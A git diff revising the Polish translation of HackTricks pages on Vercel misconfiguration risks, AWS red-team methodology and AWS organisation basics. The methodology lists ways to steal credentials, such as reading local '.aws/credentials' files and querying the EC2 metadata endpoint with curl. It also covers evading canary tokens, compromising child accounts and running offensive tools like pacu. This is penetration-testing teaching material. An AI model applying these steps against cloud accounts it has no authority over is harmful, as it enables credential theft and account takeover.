- **Naruszenie danych:** Wrażliwe informacje, takie jak klucze API i poświadczenia, mogą zostać wycieknięte.
- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań wykonywanych przez członków zespołu.
-- **Błędna konfiguracja:**\
+- **Błąd w konfiguracji:**\
Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
- **Ryzyka:**
-- **Naruszenia prywatności:** Ujawnienie wrażliwych działań użytkowników i danych.
-- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby zatuszować swoje ślady.
+- **Naruszenia prywatności:** Ujawnienie wrażliwych działań i danych użytkowników.
+- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby ukryć swoje ślady.
- **SAML Single Sign-On:** Umożliwia dostosowanie autoryzacji SAML i synchronizacji katalogów dla twojego zespołu, umożliwiając integrację z dostawcą tożsamości (IdP) w celu centralnej autoryzacji i zarządzania użytkownikami.
-- **Błędna konfiguracja:** Atakujący może wprowadzić tylne furtki do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
-- **Ryzyko:** Utrzymanie trwałości.
+- **Błąd w konfiguracji:** Atakujący może wprowadzić tylne drzwi do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
+- **Ryzyko:** Utrzymanie trwałości
- **Widoczność adresów IP:** Kontroluje, czy adresy IP, które mogą być uważane za dane osobowe zgodnie z niektórymi przepisami o ochronie danych, są wyświetlane w zapytaniach monitorujących i odpływach logów.
-- **Błędna konfiguracja:** Pozostawienie widoczności adresów IP włączonej bez potrzeby.
+- **Błąd w konfiguracji:** Pozostawienie widoczności adresów IP włączonej bez potrzeby.
- **Ryzyka:**
- **Naruszenia prywatności:** Nieprzestrzeganie przepisów o ochronie danych, takich jak RODO.
- **Konsekwencje prawne:** Potencjalne grzywny i kary za niewłaściwe zarządzanie danymi osobowymi.
- **Blokowanie IP:** Umożliwia konfigurację adresów IP i zakresów CIDR, z których Vercel powinien blokować żądania. Zablokowane żądania nie przyczyniają się do twojego rozliczenia.
-- **Błędna konfiguracja:** Może być nadużywana przez atakującego do zezwolenia na złośliwy ruch lub blokowania legalnego ruchu.
+- **Błąd w konfiguracji:** Może być nadużywane przez atakującego, aby umożliwić złośliwy ruch lub zablokować ruch legalny.
- **Ryzyka:**
- **Odmowa usługi dla legalnych użytkowników:** Blokowanie dostępu dla ważnych użytkowników lub partnerów.
- **Zakłócenia operacyjne:** Utrata dostępności usługi dla niektórych regionów lub klientów.
@@ -384,39 +384,39 @@ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
### Bezpieczne obliczenia
-**Vercel Secure Compute** umożliwia bezpieczne, prywatne połączenia między funkcjami Vercel a środowiskami backendowymi (np. bazami danych) poprzez ustanowienie izolowanych sieci z dedykowanymi adresami IP. To eliminuje potrzebę publicznego ujawniania usług backendowych, zwiększając bezpieczeństwo, zgodność i prywatność.
+**Vercel Secure Compute** umożliwia bezpieczne, prywatne połączenia między funkcjami Vercel a środowiskami backendowymi (np. bazami danych) poprzez ustanowienie izolowanych sieci z dedykowanymi adresami IP. Eliminuje to potrzebę publicznego ujawniania usług backendowych, zwiększając bezpieczeństwo, zgodność i prywatność.
-#### **Potencjalne błędne konfiguracje i ryzyka**
+#### **Potencjalne błędy w konfiguracji i ryzyka**
1. **Nieprawidłowy wybór regionu AWS**
-- **Błędna konfiguracja:** Wybór regionu AWS dla sieci Secure Compute, który nie odpowiada regionowi usług backendowych.
-- **Ryzyko:** Zwiększone opóźnienia, potencjalne problemy z zgodnością z przepisami o rezydencji danych i pogorszenie wydajności.
+- **Błąd w konfiguracji:** Wybór regionu AWS dla sieci Secure Compute, który nie odpowiada regionowi usług backendowych.
+- **Ryzyko:** Zwiększone opóźnienia, potencjalne problemy z zgodnością z przepisami o miejscu przechowywania danych oraz pogorszenie wydajności.
2. **Nakładające się bloki CIDR**
-- **Błędna konfiguracja:** Wybór bloków CIDR, które nakładają się na istniejące VPC lub inne sieci.
+- **Błąd w konfiguracji:** Wybór bloków CIDR, które nakładają się na istniejące VPC lub inne sieci.
- **Ryzyko:** Konflikty sieciowe prowadzące do nieudanych połączeń, nieautoryzowanego dostępu lub wycieku danych między sieciami.
3. **Nieprawidłowa konfiguracja peeringu VPC**
-- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie peeringu VPC (np. błędne identyfikatory VPC, niekompletne aktualizacje tabeli tras).
+- **Błąd w konfiguracji:** Nieprawidłowe skonfigurowanie peeringu VPC (np. błędne identyfikatory VPC, niekompletne aktualizacje tabeli tras).
- **Ryzyko:** Nieautoryzowany dostęp do infrastruktury backendowej, nieudane bezpieczne połączenia i potencjalne naruszenia danych.
4. **Nadmierne przypisania projektów**
-- **Błędna konfiguracja:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji.
+- **Błąd w konfiguracji:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji.
- **Ryzyko:** Wspólne ujawnienie IP zwiększa powierzchnię ataku, potencjalnie pozwalając skompromitowanym projektom wpływać na inne.
5. **Niewystarczające zarządzanie adresami IP**
-- **Błędna konfiguracja:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP.
+- **Błąd w konfiguracji:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP.
- **Ryzyko:** Fałszowanie IP, luki w śledzeniu i potencjalne umieszczanie na czarnej liście, jeśli IP są powiązane z działalnością złośliwą.
-6. **Niepotrzebne dodawanie kontenerów budowlanych**
-- **Błędna konfiguracja:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy.
-- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu i niepotrzebne zużycie zasobów sieciowych.
-7. **Brak bezpiecznego zarządzania sekretami obejścia**
-- **Błędna konfiguracja:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do obejścia ochrony wdrożeń.
+6. **Niepotrzebne włączanie kontenerów budowlanych**
+- **Błąd w konfiguracji:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy.
+- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu zasobów i niepotrzebne zużycie zasobów sieciowych.
+7. **Niebezpieczne zarządzanie sekretami omijania**
+- **Błąd w konfiguracji:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do omijania ochrony wdrożeń.
- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, co pozwala atakującym manipulować lub wdrażać złośliwy kod.
-8. **Ignorowanie konfiguracji awaryjnych regionów**
-- **Błędna konfiguracja:** Nie skonfigurowanie pasywnych regionów awaryjnych lub błędne skonfigurowanie ustawień awaryjnych.
+8. **Ignorowanie konfiguracji failover regionu**
+- **Błąd w konfiguracji:** Nie skonfigurowanie pasywnych regionów failover lub nieprawidłowe skonfigurowanie ustawień failover.
- **Ryzyko:** Przestoje usług podczas awarii głównego regionu, co prowadzi do zmniejszonej dostępności i potencjalnej niespójności danych.
9. **Przekroczenie limitów połączeń peeringu VPC**
-- **Błędna konfiguracja:** Próba nawiązania większej liczby połączeń peeringu VPC niż dozwolony limit (np. przekroczenie 50 połączeń).
+- **Błąd w konfiguracji:** Próba nawiązania większej liczby połączeń peeringu VPC niż dozwolony limit (np. przekroczenie 50 połączeń).
- **Ryzyko:** Niemożność bezpiecznego połączenia z niezbędnymi usługami backendowymi, co powoduje niepowodzenia wdrożeń i zakłócenia operacyjne.
10. **Niebezpieczne ustawienia sieciowe**
-- **Błędna konfiguracja:** Słabe zasady zapory, brak szyfrowania lub niewłaściwa segmentacja sieci w sieci Secure Compute.
+- **Błąd w konfiguracji:** Słabe zasady zapory, brak szyfrowania lub niewłaściwa segmentacja sieci w sieci Secure Compute.
- **Ryzyko:** Przechwytywanie danych, nieautoryzowany dostęp do usług backendowych i zwiększona podatność na ataki.
---
@@ -428,10 +428,10 @@ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
#### Konfiguracje zabezpieczeń:
- **Ujawnianie wrażliwych zmiennych**
-- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
+- **Błąd w konfiguracji:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
- **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych.
- **Wrażliwe wyłączone**
-- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
+- **Błąd w konfiguracji:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 512b3c206..a7d3ed401 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -29,9 +29,9 @@ Narzędzia do symulacji ataków:
## Metodologia Pentestera/Red Team AWS
-Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak są połączone wewnętrzne usługi AWS oraz **usługi zewnętrzne**.
+Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak wewnętrzne usługi AWS są połączone z **zewnętrznymi usługami**.
-Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest uzyskanie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
+Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest zdobycie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
- **Wycieki** w githubie (lub podobnych) - OSINT
- **Inżynieria** społeczna
@@ -41,11 +41,11 @@ Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska
- **Odczyt lokalnych plików**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
-- **Złamane** przez osoby trzecie
+- 3rd parties **skompromitowane**
- **Wewnętrzny** pracownik
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)poświadczenia
-Lub poprzez **skomplikowanie niezautoryzowanej usługi** eksponowanej:
+Lub przez **skomplikowanie nieautoryzowanej usługi** eksponowanej:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
+> Po zdobyciu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
## Podstawowa enumeracja
@@ -88,17 +88,17 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-> [!CAUTION]
+> [!OSTRZEŻENIE]
> Zauważ, że firmy mogą używać **canary tokens**, aby zidentyfikować, kiedy **tokeny są kradzione i używane**. Zaleca się sprawdzenie, czy token jest tokenem canary, zanim go użyjesz.\
> Więcej informacji [**sprawdź tę stronę**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
-### Org Enumeration
+### Enumeracja Organizacji
{{#ref}}
aws-services/aws-organizations-enum.md
{{#endref}}
-### IAM Enumeration
+### Enumeracja IAM
Jeśli masz wystarczające uprawnienia, **sprawdzenie uprawnień każdej jednostki w koncie AWS** pomoże Ci zrozumieć, co Ty i inne tożsamości możecie zrobić oraz jak **eskalować uprawnienia**.
@@ -109,27 +109,27 @@ Sprawdź **jak przeprowadzić enumerację i brute-forcing** w:
aws-services/aws-iam-enum.md
{{#endref}}
-> [!NOTE]
+> [!NOTATKA]
> Teraz, gdy **masz pewne informacje o swoich poświadczeniach** (a jeśli jesteś w red team, miejmy nadzieję, że **nie zostałeś wykryty**). Czas ustalić, które usługi są używane w środowisku.\
> W następnej sekcji możesz sprawdzić kilka sposobów na **enumerację niektórych powszechnych usług.**
-## Services Enumeration, Post-Exploitation & Persistence
+## Enumeracja Usług, Post-Exploitation i Utrzymywanie
-AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstawowe informacje, enumerację** cheatsheets\*\*,\*\* jak **unikać wykrycia**, uzyskać **persistence** i inne **sztuczki po eksploatacji** dotyczące niektórych z nich:
+AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstawowe informacje, enumerację** cheatsheets\*\*,\*\* jak **unikać wykrycia**, uzyskać **utrzymywanie** i inne **triki post-exploitation** dotyczące niektórych z nich:
{{#ref}}
aws-services/
{{#endref}}
-Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście możesz znaleźć **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
+Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście znajdziesz **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
-Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla nieautoryzowanych użytkowników**, które możesz wykorzystać:
+Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla użytkowników nieautoryzowanych**, które możesz wykorzystać:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-## Privilege Escalation
+## Eskalacja Uprawnień
Jeśli możesz **sprawdzić przynajmniej swoje własne uprawnienia** do różnych zasobów, możesz **sprawdzić, czy możesz uzyskać dalsze uprawnienia**. Powinieneś skupić się przynajmniej na uprawnieniach wskazanych w:
@@ -137,33 +137,33 @@ Jeśli możesz **sprawdzić przynajmniej swoje własne uprawnienia** do różnyc
aws-privilege-escalation/
{{#endref}}
-## Publicly Exposed Services
+## Publicznie Wystawione Usługi
-Podczas enumeracji usług AWS mogłeś znaleźć niektóre z nich **wystawiające elementy do Internetu** (porty VM/Kontenerów, bazy danych lub usługi kolejkowe, migawki lub kosze...).\
+Podczas enumeracji usług AWS mogłeś znaleźć niektóre z nich **wystawiające elementy do Internetu** (porty VM/Kontenerów, bazy danych lub usługi kolejkowe, migawki lub koszyki...).\
Jako pentester/red teamer zawsze powinieneś sprawdzić, czy możesz znaleźć **wrażliwe informacje / luki** w nich, ponieważ mogą one zapewnić Ci **dalszy dostęp do konta AWS**.
-W tej książce powinieneś znaleźć **informacje** o tym, jak znaleźć **wystawione usługi AWS i jak je sprawdzić**. Na temat tego, jak znaleźć **luki w wystawionych usługach sieciowych**, zalecałbym **szukać** konkretnej **usługi** w:
+W tej książce powinieneś znaleźć **informacje** o tym, jak znaleźć **wystawione usługi AWS i jak je sprawdzić**. Co do tego, jak znaleźć **luki w wystawionych usługach sieciowych**, zalecałbym **wyszukiwanie** konkretnej **usługi** w:
{{#ref}}
https://book.hacktricks.xyz/
{{#endref}}
-## Compromising the Organization
+## Kompromitacja Organizacji
-### From the root/management account
+### Z konta głównego/zarządzającego
-Gdy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
+Kiedy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
Aby uzyskać dostęp jako administrator do konta podrzędnego, musisz:
-- **Skompromitować** **konto zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
+- **Skompromitować** konto **zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
- Aby znaleźć konta podrzędne, przejdź do sekcji organizacji w konsoli AWS lub uruchom `aws organizations list-accounts`
- Nie możesz znaleźć nazw ról bezpośrednio, więc sprawdź wszystkie niestandardowe polityki IAM i poszukaj tych, które pozwalają na **`sts:AssumeRole` nad wcześniej odkrytymi kontami podrzędnymi**.
- **Skompromituj** **podmiot** w koncie zarządzającym z **uprawnieniem `sts:AssumeRole` nad rolą w kontach podrzędnych** (nawet jeśli konto pozwala każdemu z konta zarządzającego na podszywanie się, ponieważ jest to konto zewnętrzne, konkretne uprawnienia `sts:AssumeRole` są konieczne).
-## Automated Tools
+## Automatyczne Narzędzia
### Recon
@@ -240,7 +240,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Odkryj najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS, w tym AWS Shadow Admins. Używa powershell. Możesz znaleźć **definicję uprzywilejowanych polityk** w funkcji **`Check-PrivilegedPolicy`** w [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu to otwartoźródłowe **ramy eksploatacji AWS**, zaprojektowane do testowania bezpieczeństwa ofensywnego w środowiskach chmurowych. Może **enumerować**, znajdować **błędy konfiguracyjne** i **eksploatować** je. Możesz znaleźć **definicję uprzywilejowanych uprawnień** w [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) wewnątrz słownika **`user_escalation_methods`**.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu to otwartoźródłowe **ramy eksploatacji AWS**, zaprojektowane do testowania bezpieczeństwa ofensywnego w środowiskach chmurowych. Może **enumerować**, znajdować **błędy konfiguracyjne** i je **eksploatować**. Możesz znaleźć **definicję uprzywilejowanych uprawnień** w [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) wewnątrz słownika **`user_escalation_methods`**.
- Zauważ, że pacu **sprawdza tylko twoje własne ścieżki privesc** (nie w skali całego konta).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różne użytkowników i role IAM w koncie jako graf skierowany, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różnych użytkowników i role IAM w koncie jako skierowany graf, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\
-Pokaże ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws **polityki** oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie do oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\
+Pokaże Ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
```bash
# Install
pip install cloudsplaining
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler to narzędzie zabezpieczeń typu Open Source do przeprowadzania ocen najlepszych praktyk zabezpieczeń AWS, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler to narzędzie zabezpieczeń typu Open Source do przeprowadzania ocen najlepszych praktyk bezpieczeństwa AWS, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej.
```bash
# Install python3, jq and git
# Install
@@ -314,11 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. Jest to narzędzie wiersza poleceń typu open source stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć wykorzystywalne ścieżki ataku w infrastrukturze chmurowej.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. To narzędzie wiersza poleceń typu open source, stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć możliwe do wykorzystania ścieżki ataku w infrastrukturze chmurowej.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze wielochmurowej o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
```bash
# Install
virtualenv -p python3 venv
@@ -334,8 +334,8 @@ scout aws -p dev
### Stały audyt
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana kosztowo. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot zapewniają możliwość automatycznego reagowania na naruszenia polityki poprzez podejmowanie zdefiniowanych działań.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana pod kątem kosztów. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot umożliwiają automatyczną reakcję na naruszenia polityki poprzez podejmowanie zdefiniowanych działań.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert to bezserwerowa, **w czasie rzeczywistym** ramka analizy danych, która umożliwia **przyjmowanie, analizowanie i powiadamianie** o danych z dowolnego środowiska, **używając źródeł danych i logiki powiadamiania, które definiujesz**. Zespoły bezpieczeństwa komputerowego używają StreamAlert do skanowania terabajtów danych dzienników każdego dnia w celu wykrywania incydentów i reakcji.
## DEBUG: Przechwytywanie żądań AWS cli
@@ -357,7 +357,7 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-## References
+## Odniesienia
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 8c126157d..89ce91075 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,8 +1,8 @@
-# AWS - Podstawowe Informacje
+# AWS - Podstawowe informacje
{{#include ../../../banners/hacktricks-training.md}}
-## Hierarchia Organizacji
+## Hierarchia organizacji
.png>)
@@ -10,7 +10,7 @@
W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą.
-Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że specjalnie utworzone są mosty), dzięki czemu możesz stworzyć granice między wdrożeniami.
+Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty zostaną specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami.
Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich.
@@ -21,10 +21,10 @@ Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie
- Usuwać konta z organizacji
- Zarządzać zaproszeniami
- Stosować polityki do podmiotów (korzeni, OU lub kont) w organizacji
-- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług we wszystkich kontach w organizacji.
+- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług w ramach wszystkich kont w organizacji.
- Możliwe jest zalogowanie się jako użytkownik główny, używając adresu e-mail i hasła użytego do utworzenia tego konta głównego/organizacji.
-Konto zarządzające ma **odpowiedzialność konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
+Konto zarządzające ma **obowiązki konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
- **Konta członkowskie** składają się z pozostałych kont w organizacji. Konto może być członkiem tylko jednej organizacji w danym czasie. Możesz przypisać politykę do konta, aby zastosować kontrole tylko do tego jednego konta.
- Konta członkowskie **muszą używać ważnego adresu e-mail** i mogą mieć **nazwę**, generalnie nie będą mogły zarządzać rozliczeniami (ale mogą otrzymać do nich dostęp).
@@ -40,9 +40,9 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
